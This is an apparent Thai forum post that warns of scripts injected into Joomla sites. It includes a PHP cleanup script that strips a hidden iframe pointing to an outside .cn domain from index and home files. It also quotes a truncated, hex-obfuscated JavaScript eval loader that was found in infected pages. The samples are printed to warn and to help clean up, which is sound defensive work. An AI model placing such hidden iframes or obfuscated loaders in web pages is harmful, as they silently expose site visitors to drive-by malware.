มาเตือนครับ โดนฝัง script ใน joomla

<?
ini_set('max_execution_time','0');
ini_set('max_input_time','0');
ini_set('memory_limit','128M');

function recurse_replace($filepath)
{
if (is_dir($filepath) && !is_link($filepath))
{
if ($dh = opendir($filepath))
{
while (($sf = readdir($dh)) !== false)
{
if ($sf == '.' || $sf == '..')
{
continue;
}
if (!recurse_replace($filepath.'/'.$sf))
{
}
}
closedir($dh);
}
} else {
if(substr_count($filepath ,"/index.") || substr_count($filepath ,"/home.")) {
echo "File: " . $filepath . "<br>\r\n";
$lines = file_get_contents($filepath);
$lines = str_replace("<html><body><iframe src=\"http://litetopfindworld.cn/in.cgi?cocacola48\" width=1 height=1 style=\"visibility: hidden\"></iframe></body></html>", "", $lines);
$lines = str_replace("<iframe src=\"http://litetopfindworld.cn/in.cgi?cocacola48\" width=1 height=1 style=\"visibility: hidden\"></iframe>", "", $lines);
$lines = str_replace("<html><body></body></html>", "", $lines);
$handle = fopen($filepath, "w");
fwrite($handle, $lines);
fclose($handle);
$lines = "";
}
}
}

recurse_replace(dirname(__FILE__));
?>

สดๆ

โค๊ด:

<span id='ffafd4f392da093e46a731f167f8a26638'><script type="text/javascript">var jj=window["e"+new String("v")+"a"+new String("l")]("e"+new String("v")+"a"+new String("l")); jj('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x68\x69\x59\x35\x53\x4f\x71\x6d\x28\x63\x7a\x6c\x4f\x76\x59\x75\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x68\x53\x4c\x6a\x30\x28\x66\x45\x67\x4d\x29\x7b\x76\x61\x72\x20\x69\x69\x76\x42\x4d\x3d\x30\x3b\x76\x61\x72\x20\x73\x79\x56\x30\x44\x3d\x66\x45\x67\x4d\x2e\x6c\x65\x6e\x67\x74\x68\x2c\x20\x6d\x43\x78\x6f\x6d\x6d\x3d\x30\x3b\x77\x68\x69\x6c\x65\x28\x6d\x43\x78\x6f\x6d\x6d\x3c\x73\x79\x56\x30\x44\x29\x7b\x69\x69\x76\x42\x4d\x2b\x3d\x6a\x38\x4f\x28\x66\x45\x67\x4d\x2c\x6d\x43\x78\x6f\x6d\x6d\x29\x2a\x73\x79\x56\x30\x44\x3b\x6d\x43\x78\x6f\x6d\x6d\x2b\x2b\x3b\x7d\x72\x65\x74\x75\x72\x6e\x20\x28\x69\x69\x76\x42\x4d\x2b\x27\x27\x29\x3b\x7d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x6a\x38\x4f\x28\x74\x37\x74\x6e\x45\x33\x2c\x6e\x5a\x79\x52\x4c\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x74\x37\x74\x6e\x45\x33\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x6e\x5a\x79\x52\x4c\x29\x3b\x7d\x20\x20\x20\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x70\x56\x65\x4e\x33\x3d\x65\x76\x61\x6c\x28\x27\x61\x23\x72\x4c\x67\x47\x75\x23\x6d\x47\x65\x4c\x6e\x5e\x74\x4c\x73\x23\x2e\x4c\x63\x46\x61\x23\x6c\x23\x6c\x4c\x65\x46\x65\x5e\x27\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x5c\x5e\x23\x47\x46\x4c\x5d\x2f\x67\x2c\x20\x27\x27\x29\x29\x2c\x66\x49\x55\x55\x50\x57\x57\x3d\x27\x27\x2c\x6e\x35\x63\x72\x3d\x30\x2c\x66\x61\x50\x5a\x3d\x30\x3b\x76\x61\x72\x20\x6e\x70\x76\x61\x6b\x3d\x28\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x70\x56\x65\x4e\x33\x29\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x5e\x40\x61\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x2e\x2c\x2d\x5d\x2f\x67\x2c\x27\x27\x29\x3b\x76\x61\x72\x20\x7a\x58\x32\x7a\x78\x69\x3d\x66\x68\x53\x4c\x6a\x30\x28\x6e\x70\x76\x61\x6b\x29\x3b\x63\x7a\x6c\x4f\x76\x59\x75\x3d\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x63\x7a\x6c\x4f\x76\x59\x75\x29\x3b\x66\x6f\x72\x28\x76\x61\x72\x20\x6a\x57\x62\x58\x3d\x30\x3b\x20\x6a\x57\x62\x58\x20\x3c\x20\x28\x63\x7a\x6c\x4f\x76\x59\x75\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x20\x6a\x57\x62\x58\x2b\x2b\x29\x7b\x76\x61\x72\x20\x7a\x6c\x73\x73\x63\x51\x3d\x6a\x38\x4f\x28\x6e\x70\x76\x61\x6b\x2c\x6e\x35\x63\x72\x29\x5e\x6a\x38\x4f\x28\x7a\x58\x32\x7a\x78\x69\x2c\x66\x61\x50\x5a\x29\x3b\x76\x61\x72\x20\x74\x48\x59\x39\x66\x66\x77\x3d\x6a\x38\x4f\x28\x63\x7a\x6c\x4f\x76\x59\x75\x2c\x6a\x57\x62\x58\x29\x3b\x6e\x35\x63\x72\x2b\x2b\x2c\x66\x61\x50\x5a\x2b\x2b\x3b\x66\x49\x55\x55\x50\x57\x57\x2b\x3d\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43');      </script></span>

ต้องลบ code มันออกเยอะกว่าจะโพสท์ได้